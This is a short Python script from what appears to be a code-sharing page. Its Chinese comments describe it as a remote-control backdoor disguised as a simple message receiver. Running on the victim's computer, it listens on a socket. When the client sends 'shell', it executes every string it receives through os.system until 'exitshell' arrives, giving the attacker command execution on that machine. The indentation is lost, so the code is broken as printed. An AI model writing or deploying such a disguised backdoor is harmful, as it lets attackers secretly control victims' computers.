[python]代码库
# 【表面是实现一个简单的信息接收程序,实际上是实现一个黑客的恶意远程控制脚本】
# 将被攻击者的电脑作为服务器,攻击者通过编写一个客户端进行链接服务器,通过输入特殊的命令获取到被攻击者的shell权限
host = '192.168.1.8'
port = 5555
import socket
import re
import time
socketer = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socketer.bind((host,port))
listens = socketer.listen(2)
print("loading and liseten......")
socketer_app,addrs = socketer.accept()
addrss = str(addrs)
addrs_re = re.findall("('.*?', \d+)",addrss)[0]
ip_ = re.findall("'.*?'",addrs_re)[0]
port_ = re.findall(" \d+",addrs_re)[0]
print(f"来自IP:({ip_})::PORT({port_})的用户已成功建立链接!")
while True:
socketer_app,addrs = socketer.accept()
data = socketer_app.recv(9999)
data = data.decode()
if data == "shell":
import os
def root():
class ROOT_SHELL():
def __init__(self):
pass
def os_windwos(self):
while True:
socketer_app_,addrs_ =socketer.accept()
data_ = socketer_app_.recv(99999)
data_ = data_.decode()
if data_ == "exitshell":
break
os.system(data_)
os.system("cls")
print("【ROOT权限正在操作...】")
# socketer.bind((ip,port))
# socketer.sendall(【os.system(data)】)
root_shell = ROOT_SHELL()
root_shell.os_windwos()
root()
else:
if not data:
print("用户已退出聊天室...")
break
print(f"用户【%s】:{data}"%ip_)
if __name__ == '__main__':
pass
[代码运行效果截图]